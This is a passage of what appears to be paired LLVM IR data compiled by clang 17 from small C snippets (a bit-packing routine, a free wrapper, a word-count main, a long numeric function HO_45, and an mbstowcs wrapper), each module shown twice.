%50 = inttoptr i64 %49 to ptr
%51 = load volatile i32, ptr %50, align 4
store i32 %51, ptr %8, align 4
%52 = load i32, ptr %6, align 4
%53 = load i32, ptr %8, align 4
%54 = and i32 %53, 1
%55 = shl i32 %54, 19
%56 = or i32 %52, %55
%57 = load i32, ptr %8, align 4
%58 = and i32 %57, 2
%59 = shl i32 %58, 16
%60 = or i32 %56, %59
%61 = load i32, ptr %8, align 4
%62 = and i32 %61, 4
%63 = shl i32 %62, 14
%64 = or i32 %60, %63
store i32 %64, ptr %3, align 4
br label %65
65: ; preds = %46, %20
%66 = load i32, ptr %3, align 4
ret i32 %66
}
declare i32 @ASSERT(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpf24e2_p5.c'
source_filename = "/tmp/tmpf24e2_p5.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @SLIST_end(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = call i32 @free(ptr noundef %3)
ret void
}
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpf24e2_p5.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @SLIST_end(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = call i32 @free(ptr noundef %3)
ret void
}
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp153mra1_.c'
source_filename = "/tmp/tmp153mra1_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp153mra1_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpa96ot0_j.c'
source_filename = "/tmp/tmpa96ot0_j.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%s\00", align 1
@.str.1 = private unnamed_addr constant [5 x i8] c"CHEF\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca ptr, align 8
%3 = alloca i32, align 4
store i32 0, ptr %1, align 4
%4 = call i64 @malloc(i32 noundef 1)
%5 = inttoptr i64 %4 to ptr
store ptr %5, ptr %2, align 8
%6 = load ptr, ptr %2, align 8
%7 = call i32 @scanf(ptr noundef @.str, ptr noundef %6)
%8 = load ptr, ptr %2, align 8
%9 = call i32 @countWord(ptr noundef @.str.1, ptr noundef %8)
store i32 %9, ptr %3, align 4
ret i32 0
}
declare i64 @malloc(i32 noundef) #1
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @countWord(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpa96ot0_j.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%s\00", align 1
@.str.1 = private unnamed_addr constant [5 x i8] c"CHEF\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca ptr, align 8
%3 = alloca i32, align 4
store i32 0, ptr %1, align 4
%4 = call i64 @malloc(i32 noundef 1)
%5 = inttoptr i64 %4 to ptr
store ptr %5, ptr %2, align 8
%6 = load ptr, ptr %2, align 8
%7 = call i32 @scanf(ptr noundef @.str, ptr noundef %6)
%8 = load ptr, ptr %2, align 8
%9 = call i32 @countWord(ptr noundef @.str.1, ptr noundef %8)
store i32 %9, ptr %3, align 4
ret i32 0
}
declare i64 @malloc(i32 noundef) #1
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @countWord(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpiyozmu2k.c'
source_filename = "/tmp/tmpiyozmu2k.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local double @HO_45(double noundef %0, double noundef %1) #0 {
%3 = alloca double, align 8
%4 = alloca double, align 8
%5 = alloca double, align 8
store double %0, ptr %3, align 8
store double %1, ptr %4, align 8
%6 = load double, ptr %4, align 8
%7 = fmul double 0x45D5C5D2EBD4E7A5, %6
%8 = load double, ptr %4, align 8
%9 = fmul double -5.000000e-01, %8
%10 = load double, ptr %4, align 8
%11 = fmul double %9, %10
%12 = load double, ptr %3, align 8
%13 = call double @pow(double noundef %12, double noundef -2.000000e+00) #3
%14 = fmul double %11, %13
%15 = call double @exp(double noundef %14) #3
%16 = fmul double %7, %15
%17 = load double, ptr %3, align 8
%18 = call double @pow(double noundef %17, double noundef -4.550000e+01) #3
%19 = fmul double %16, %18
%20 = load double, ptr %4, align 8
%21 = fmul double 0xC02D555555C7DDA5, %20
%22 = load double, ptr %4, align 8
%23 = fmul double %21, %22
%24 = load double, ptr %3, align 8
%25 = call double @pow(double noundef %24, double noundef 4.200000e+01) #3
%26 = load double, ptr %4, align 8
%27 = call double @pow(double noundef %26, double noundef 4.000000e+00) #3
%28 = fmul double 0x404ECCCCCC616D02, %27
%29 = load double, ptr %3, align 8
%30 = call double @pow(double noundef %29, double noundef 4.000000e+01) #3
%31 = fmul double %28, %30
%32 = call double @llvm.fmuladd.f64(double %23, double %25, double %31)
%33 = load double, ptr %4, align 8
%34 = call double @pow(double noundef %33, double noundef 6.000000e+00) #3
%35 = fmul double 0x405D555555318ABD, %34
%36 = load double, ptr %3, align 8
%37 = call double @pow(double noundef %36, double noundef 3.800000e+01) #3
%38 = fneg double %35
%39 = call double @llvm.fmuladd.f64(double %38, double %37, double %32)
%40 = load double, ptr %4, align 8
%41 = call double @pow(double noundef %40, double noundef 2.800000e+01) #3
%42 = fmul double 0x3EAC660B06EC3B2F, %41
%43 = load double, ptr %3, align 8
%44 = call double @pow(double noundef %43, double noundef 1.600000e+01) #3
%45 = call double @llvm.fmuladd.f64(double %42, double %44, double %39)
%46 = load double, ptr %4, align 8
%47 = call double @pow(double noundef %46, double noundef 2.600000e+01) #3
%48 = fmul double 0x3EF4045EE2122E5F, %47
%49 = load double, ptr %3, align 8
%50 = call double @pow(double noundef %49, double noundef 1.800000e+01) #3
%51 = fneg double %48
%52 = call double @llvm.fmuladd.f64(double %51, double %50, double %45)
%53 = load double, ptr %4, align 8
%54 = call double @pow(double noundef %53, double noundef 2.400000e+01) #3
%55 = fmul double 0x3F35F4CB4615AD6E, %54
%56 = load double, ptr %3, align 8
%57 = call double @pow(double noundef %56, double noundef 2.000000e+01) #3
%58 = call double @llvm.fmuladd.f64(double %55, double %57, double %52)
%59 = load double, ptr %4, align 8
%60 = call double @pow(double noundef %59, double noundef 2.200000e+01) #3
%61 = fmul double 0x3F72B6731049DF0C, %60
%62 = load double, ptr %3, align 8
%63 = call double @pow(double noundef %62, double noundef 2.200000e+01) #3
%64 = fneg double %61
%65 = call double @llvm.fmuladd.f64(double %64, double %63, double %58)
%66 = load double, ptr %4, align 8
%67 = call double @pow(double noundef %66, double noundef 2.000000e+01) #3
%68 = fmul double 0x3FA8A86A49615345, %67
%69 = load double, ptr %3, align 8
%70 = call double @pow(double noundef %69, double noundef 2.400000e+01) #3
%71 = call double @llvm.fmuladd.f64(double %68, double %70, double %65)
%72 = load double, ptr %4, align 8
%73 = call double @pow(double noundef %72, double noundef 1.600000e+01) #3
%74 = fmul double 0x4003013012417617, %73
%75 = load double, ptr %3, align 8
%76 = call double @pow(double noundef %75, double noundef 2.800000e+01) #3
%77 = call double @llvm.fmuladd.f64(double %74, double %76, double %71)
%78 = load double, ptr %4, align 8
%79 = call double @pow(double noundef %78, double noundef 1.200000e+01) #3
%80 = fmul double 0x4041AB1AB0F0CE34, %79
%81 = load double, ptr %3, align 8
%82 = call double @pow(double noundef %81, double noundef 3.200000e+01) #3
%83 = call double @llvm.fmuladd.f64(double %80, double %82, double %77)
%84 = load double, ptr %4, align 8
%85 = call double @pow(double noundef %84, double noundef 1.000000e+01) #3
%86 = fmul double 0x4054444443A6C8D7, %85
%87 = load double, ptr %3, align 8
%88 = call double @pow(double noundef %87, double noundef 3.400000e+01) #3
%89 = fneg double %86
%90 = call double @llvm.fmuladd.f64(double %89, double %88, double %83)
%91 = load double, ptr %4, align 8
%92 = call double @pow(double noundef %91, double noundef 8.000000e+00) #3
%93 = fmul double 0x405EF684BCFE22B0, %92
%94 = load double, ptr %3, align 8
%95 = call double @pow(double noundef %94, double noundef 3.600000e+01) #3
%96 = call double @llvm.fmuladd.f64(double %93, double %95, double %90)
%97 = load double, ptr %4, align 8
%98 = call double @pow(double noundef %97, double noundef 1.400000e+01) #3
%99 = fmul double 0x402589E125F5321C, %98
%100 = load double, ptr %3, align 8
%101 = call double @pow(double noundef %100, double noundef 3.000000e+01) #3
%102 = fneg double %99
%103 = call double @llvm.fmuladd.f64(double %102, double %101, double %96)
%104 = load double, ptr %4, align 8
%105 = call double @pow(double noundef %104, double noundef 1.800000e+01) #3
%106 = fmul double 0x3FD8E51C89A6F1ED, %105
%107 = load double, ptr %3, align 8
%108 = call double @pow(double noundef %107, double noundef 2.600000e+01) #3
%109 = fneg double %106
%110 = call double @llvm.fmuladd.f64(double %109, double %108, double %103)
%111 = load double, ptr %4, align 8
%112 = call double @pow(double noundef %111, double noundef 4.200000e+01) #3
%113 = fmul double 0x3BF8266ED0EFCFD1, %112
%114 = load double, ptr %3, align 8
%115 = fmul double %113, %114
%116 = load double, ptr %3, align 8
%117 = fneg double %115
%118 = call double @llvm.fmuladd.f64(double %117, double %116, double %110)
%119 = load double, ptr %4, align 8
%120 = call double @pow(double noundef %119, double noundef 4.000000e+01) #3
%121 = fmul double 0x3C754BE438BC776A, %120
%122 = load double, ptr %3, align 8
%123 = call double @pow(double noundef %122, double noundef 4.000000e+00) #3
%124 = call double @llvm.fmuladd.f64(double %121, double %123, double %118)
%125 = load double, ptr %4, align 8
%126 = call double @pow(double noundef %125, double noundef 3.800000e+01) #3
%127 = fmul double 0x3CE6BD07AC7113AA, %126
%128 = load double, ptr %3, align 8
%129 = call double @pow(double noundef %128, double noundef 6.000000e+00) #3
%130 = fneg double %127
%131 = call double @llvm.fmuladd.f64(double %130, double %129, double %124)
%132 = load double, ptr %4, align 8
%133 = call double @pow(double noundef %132, double noundef 3.600000e+01) #3
%134 = fmul double 0x3D507449CD9D4D62, %133
%135 = load double, ptr %3, align 8
%136 = call double @pow(double noundef %135, double noundef 8.000000e+00) #3
%137 = call double @llvm.fmuladd.f64(double %134, double %136, double %131)
%138 = load double, ptr %4, align 8
%139 = call double @pow(double noundef %138, double noundef 3.400000e+01) #3
%140 = fmul double 0x3DB11F6999CF8D75, %139
%141 = load double, ptr %3, align 8
%142 = call double @pow(double noundef %141, double noundef 1.000000e+01) #3
%143 = fneg double %140
%144 = call double @llvm.fmuladd.f64(double %143, double %142, double %137)
%145 = load double, ptr %4, align 8
%146 = call double @pow(double noundef %145, double noundef 3.200000e+01) #3
%147 = fmul double 0x3E0A8801A04261A4, %146
%148 = load double, ptr %3, align 8
%149 = call double @pow(double noundef %148, double noundef 1.200000e+01) #3
%150 = call double @llvm.fmuladd.f64(double %147, double %149, double %144)
%151 = load double, ptr %4, align 8
%152 = call double @pow(double noundef %151, double noundef 3.000000e+01) #3
%153 = fmul double 0x3E5F44DD58415290, %152
%154 = load double, ptr %3, align 8
%155 = call double @pow(double noundef %154, double noundef 1.400000e+01) #3
%156 = fneg double %153
%157 = call double @llvm.fmuladd.f64(double %156, double %155, double %150)
%158 = load double, ptr %3, align 8
%159 = call double @pow(double noundef %158, double noundef 4.400000e+01) #3
%160 = call double @llvm.fmuladd.f64(double 1.000000e+00, double %159, double %157)
%161 = load double, ptr %4, align 8
%162 = call double @pow(double noundef %161, double noundef 4.400000e+01) #3
%163 = call double @llvm.fmuladd.f64(double 0x3B68FAC244194C7C, double %162, double %160)
%164 = fmul double %19, %163
store double %164, ptr %5, align 8
%165 = load double, ptr %5, align 8
ret double %165
}
; Function Attrs: nounwind
declare double @exp(double noundef) #1
; Function Attrs: nounwind
declare double @pow(double noundef, double noundef) #1
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fmuladd.f64(double, double, double) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nounwind "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpiyozmu2k.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local double @HO_45(double noundef %0, double noundef %1) #0 {
%3 = alloca double, align 8
%4 = alloca double, align 8
%5 = alloca double, align 8
store double %0, ptr %3, align 8
store double %1, ptr %4, align 8
%6 = load double, ptr %4, align 8
%7 = fmul double 0x45D5C5D2EBD4E7A5, %6
%8 = load double, ptr %4, align 8
%9 = fmul double -5.000000e-01, %8
%10 = load double, ptr %4, align 8
%11 = fmul double %9, %10
%12 = load double, ptr %3, align 8
%13 = call double @pow(double noundef %12, double noundef -2.000000e+00) #3
%14 = fmul double %11, %13
%15 = call double @exp(double noundef %14) #3
%16 = fmul double %7, %15
%17 = load double, ptr %3, align 8
%18 = call double @pow(double noundef %17, double noundef -4.550000e+01) #3
%19 = fmul double %16, %18
%20 = load double, ptr %4, align 8
%21 = fmul double 0xC02D555555C7DDA5, %20
%22 = load double, ptr %4, align 8
%23 = fmul double %21, %22
%24 = load double, ptr %3, align 8
%25 = call double @pow(double noundef %24, double noundef 4.200000e+01) #3
%26 = load double, ptr %4, align 8
%27 = call double @pow(double noundef %26, double noundef 4.000000e+00) #3
%28 = fmul double 0x404ECCCCCC616D02, %27
%29 = load double, ptr %3, align 8
%30 = call double @pow(double noundef %29, double noundef 4.000000e+01) #3
%31 = fmul double %28, %30
%32 = call double @llvm.fmuladd.f64(double %23, double %25, double %31)
%33 = load double, ptr %4, align 8
%34 = call double @pow(double noundef %33, double noundef 6.000000e+00) #3
%35 = fmul double 0x405D555555318ABD, %34
%36 = load double, ptr %3, align 8
%37 = call double @pow(double noundef %36, double noundef 3.800000e+01) #3
%38 = fneg double %35
%39 = call double @llvm.fmuladd.f64(double %38, double %37, double %32)
%40 = load double, ptr %4, align 8
%41 = call double @pow(double noundef %40, double noundef 2.800000e+01) #3
%42 = fmul double 0x3EAC660B06EC3B2F, %41
%43 = load double, ptr %3, align 8
%44 = call double @pow(double noundef %43, double noundef 1.600000e+01) #3
%45 = call double @llvm.fmuladd.f64(double %42, double %44, double %39)
%46 = load double, ptr %4, align 8
%47 = call double @pow(double noundef %46, double noundef 2.600000e+01) #3
%48 = fmul double 0x3EF4045EE2122E5F, %47
%49 = load double, ptr %3, align 8
%50 = call double @pow(double noundef %49, double noundef 1.800000e+01) #3
%51 = fneg double %48
%52 = call double @llvm.fmuladd.f64(double %51, double %50, double %45)
%53 = load double, ptr %4, align 8
%54 = call double @pow(double noundef %53, double noundef 2.400000e+01) #3
%55 = fmul double 0x3F35F4CB4615AD6E, %54
%56 = load double, ptr %3, align 8
%57 = call double @pow(double noundef %56, double noundef 2.000000e+01) #3
%58 = call double @llvm.fmuladd.f64(double %55, double %57, double %52)
%59 = load double, ptr %4, align 8
%60 = call double @pow(double noundef %59, double noundef 2.200000e+01) #3
%61 = fmul double 0x3F72B6731049DF0C, %60
%62 = load double, ptr %3, align 8
%63 = call double @pow(double noundef %62, double noundef 2.200000e+01) #3
%64 = fneg double %61
%65 = call double @llvm.fmuladd.f64(double %64, double %63, double %58)
%66 = load double, ptr %4, align 8
%67 = call double @pow(double noundef %66, double noundef 2.000000e+01) #3
%68 = fmul double 0x3FA8A86A49615345, %67
%69 = load double, ptr %3, align 8
%70 = call double @pow(double noundef %69, double noundef 2.400000e+01) #3
%71 = call double @llvm.fmuladd.f64(double %68, double %70, double %65)
%72 = load double, ptr %4, align 8
%73 = call double @pow(double noundef %72, double noundef 1.600000e+01) #3
%74 = fmul double 0x4003013012417617, %73
%75 = load double, ptr %3, align 8
%76 = call double @pow(double noundef %75, double noundef 2.800000e+01) #3
%77 = call double @llvm.fmuladd.f64(double %74, double %76, double %71)
%78 = load double, ptr %4, align 8
%79 = call double @pow(double noundef %78, double noundef 1.200000e+01) #3
%80 = fmul double 0x4041AB1AB0F0CE34, %79
%81 = load double, ptr %3, align 8
%82 = call double @pow(double noundef %81, double noundef 3.200000e+01) #3
%83 = call double @llvm.fmuladd.f64(double %80, double %82, double %77)
%84 = load double, ptr %4, align 8
%85 = call double @pow(double noundef %84, double noundef 1.000000e+01) #3
%86 = fmul double 0x4054444443A6C8D7, %85
%87 = load double, ptr %3, align 8
%88 = call double @pow(double noundef %87, double noundef 3.400000e+01) #3
%89 = fneg double %86
%90 = call double @llvm.fmuladd.f64(double %89, double %88, double %83)
%91 = load double, ptr %4, align 8
%92 = call double @pow(double noundef %91, double noundef 8.000000e+00) #3
%93 = fmul double 0x405EF684BCFE22B0, %92
%94 = load double, ptr %3, align 8
%95 = call double @pow(double noundef %94, double noundef 3.600000e+01) #3
%96 = call double @llvm.fmuladd.f64(double %93, double %95, double %90)
%97 = load double, ptr %4, align 8
%98 = call double @pow(double noundef %97, double noundef 1.400000e+01) #3
%99 = fmul double 0x402589E125F5321C, %98
%100 = load double, ptr %3, align 8
%101 = call double @pow(double noundef %100, double noundef 3.000000e+01) #3
%102 = fneg double %99
%103 = call double @llvm.fmuladd.f64(double %102, double %101, double %96)
%104 = load double, ptr %4, align 8
%105 = call double @pow(double noundef %104, double noundef 1.800000e+01) #3
%106 = fmul double 0x3FD8E51C89A6F1ED, %105
%107 = load double, ptr %3, align 8
%108 = call double @pow(double noundef %107, double noundef 2.600000e+01) #3
%109 = fneg double %106
%110 = call double @llvm.fmuladd.f64(double %109, double %108, double %103)
%111 = load double, ptr %4, align 8
%112 = call double @pow(double noundef %111, double noundef 4.200000e+01) #3
%113 = fmul double 0x3BF8266ED0EFCFD1, %112
%114 = load double, ptr %3, align 8
%115 = fmul double %113, %114
%116 = load double, ptr %3, align 8
%117 = fneg double %115
%118 = call double @llvm.fmuladd.f64(double %117, double %116, double %110)
%119 = load double, ptr %4, align 8
%120 = call double @pow(double noundef %119, double noundef 4.000000e+01) #3
%121 = fmul double 0x3C754BE438BC776A, %120
%122 = load double, ptr %3, align 8
%123 = call double @pow(double noundef %122, double noundef 4.000000e+00) #3
%124 = call double @llvm.fmuladd.f64(double %121, double %123, double %118)
%125 = load double, ptr %4, align 8
%126 = call double @pow(double noundef %125, double noundef 3.800000e+01) #3
%127 = fmul double 0x3CE6BD07AC7113AA, %126
%128 = load double, ptr %3, align 8
%129 = call double @pow(double noundef %128, double noundef 6.000000e+00) #3
%130 = fneg double %127
%131 = call double @llvm.fmuladd.f64(double %130, double %129, double %124)
%132 = load double, ptr %4, align 8
%133 = call double @pow(double noundef %132, double noundef 3.600000e+01) #3
%134 = fmul double 0x3D507449CD9D4D62, %133
%135 = load double, ptr %3, align 8
%136 = call double @pow(double noundef %135, double noundef 8.000000e+00) #3
%137 = call double @llvm.fmuladd.f64(double %134, double %136, double %131)
%138 = load double, ptr %4, align 8
%139 = call double @pow(double noundef %138, double noundef 3.400000e+01) #3
%140 = fmul double 0x3DB11F6999CF8D75, %139
%141 = load double, ptr %3, align 8
%142 = call double @pow(double noundef %141, double noundef 1.000000e+01) #3
%143 = fneg double %140
%144 = call double @llvm.fmuladd.f64(double %143, double %142, double %137)
%145 = load double, ptr %4, align 8
%146 = call double @pow(double noundef %145, double noundef 3.200000e+01) #3
%147 = fmul double 0x3E0A8801A04261A4, %146
%148 = load double, ptr %3, align 8
%149 = call double @pow(double noundef %148, double noundef 1.200000e+01) #3
%150 = call double @llvm.fmuladd.f64(double %147, double %149, double %144)
%151 = load double, ptr %4, align 8
%152 = call double @pow(double noundef %151, double noundef 3.000000e+01) #3
%153 = fmul double 0x3E5F44DD58415290, %152
%154 = load double, ptr %3, align 8
%155 = call double @pow(double noundef %154, double noundef 1.400000e+01) #3
%156 = fneg double %153
%157 = call double @llvm.fmuladd.f64(double %156, double %155, double %150)
%158 = load double, ptr %3, align 8
%159 = call double @pow(double noundef %158, double noundef 4.400000e+01) #3
%160 = call double @llvm.fmuladd.f64(double 1.000000e+00, double %159, double %157)
%161 = load double, ptr %4, align 8
%162 = call double @pow(double noundef %161, double noundef 4.400000e+01) #3
%163 = call double @llvm.fmuladd.f64(double 0x3B68FAC244194C7C, double %162, double %160)
%164 = fmul double %19, %163
store double %164, ptr %5, align 8
%165 = load double, ptr %5, align 8
ret double %165
}
; Function Attrs: nounwind
declare double @exp(double noundef) #1
; Function Attrs: nounwind
declare double @pow(double noundef, double noundef) #1
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fmuladd.f64(double, double, double) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nounwind "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmptd23y5h3.c'
source_filename = "/tmp/tmptd23y5h3.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.TYPE_3__ = type { i32 }
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i64 @mbstowcs(ptr noalias noundef %0, ptr noalias noundef %1, i64 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca i64, align 8
%7 = alloca %struct.TYPE_3__, align 4
store ptr %0, ptr %4, align 8
store ptr %1, ptr %5, align 8
store i64 %2, ptr %6, align 8
call void @llvm.memset.p0.i64(ptr align 4 %7, i8 0, i64 4, i1 false)
%8 = load ptr, ptr %4, align 8
%9 = load i64, ptr %6, align 8
%10 = call i64 @mbsrtowcs(ptr noundef %8, ptr noundef %5, i64 noundef %9, ptr noundef %7)
ret i64 %10
}
